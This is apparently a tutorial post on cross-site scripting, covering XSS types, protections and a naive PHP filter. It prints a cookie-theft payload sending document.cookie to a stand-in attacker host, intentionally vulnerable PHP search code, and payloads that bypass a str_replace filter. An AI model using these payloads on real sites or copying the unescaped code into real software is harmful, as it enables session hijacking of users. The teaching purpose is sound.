Cross-site Scripting (XSS) allows attackers to inject malicious scripts into web pages viewed by users. This can lead to a variety of threats, including session hijacking, site defacement, and malicious redirection.
Types of XSS:
- Stored XSS (Persistent): The injected script is stored on the server (e.g., in a database) and is reflected back and executed every time a user accesses the affected page.
- Reflected XSS: The injected script is reflected off a web server, such as via a URL or search query.
- DOM-based XSS: The client’s Document Object Model (DOM) is manipulated, and the payload is executed entirely in the browser.
Example Payloads:
- Simple alert:
<script>alert('XSS');</script>
- Cookie theft:
<script>document.location='https://attacker-site.com/steal.php?cookie='+document.cookie;</script>
Vulnerable Code:
A basic example of code vulnerable to XSS is a search functionality that directly outputs user input:
php
$search = $_GET['search']; echo "Search results for: " . $search;
If a user provides a search query like <script>alert('XSS');</script>
, it would be executed in the user’s browser.
Protection:
- Input Validation: Do not trust user input. Use a known secure API or library to validate and sanitize all input.
- Output Encoding: Ensure that user input is safely encoded when being displayed.
- Content Security Policy (CSP): Use a CSP header to prevent the execution of inline scripts.
- Escaping: Escape special characters using context-specific escaping methods.
“Hardened” Code:
Let’s consider a simple search feature where user input is rendered back to the user after some naive “hardening”:
php
$search = $_GET['search']; // Basic "hardening" $search = str_replace('<script>', '', $search); echo "Search results for: " . $search;
In the above code, the developer is attempting to remove the string <script>
from user input.
Challenge: Bypassing the Filter
To bypass this, an attacker could use the following payloads:
- Using Case Variation:
php
<ScRiPt>alert('XSS');</ScRiPt>
The case variation will bypass the case-sensitive filter.
- Nested malicious tags:
php
<script><a href='.' onmouseover='alert("XSS")'>Hover me!</a></script>
Even though <script>
tags are removed, the inner malicious <a>
tag’s event handler will still trigger an XSS.
Leave a Reply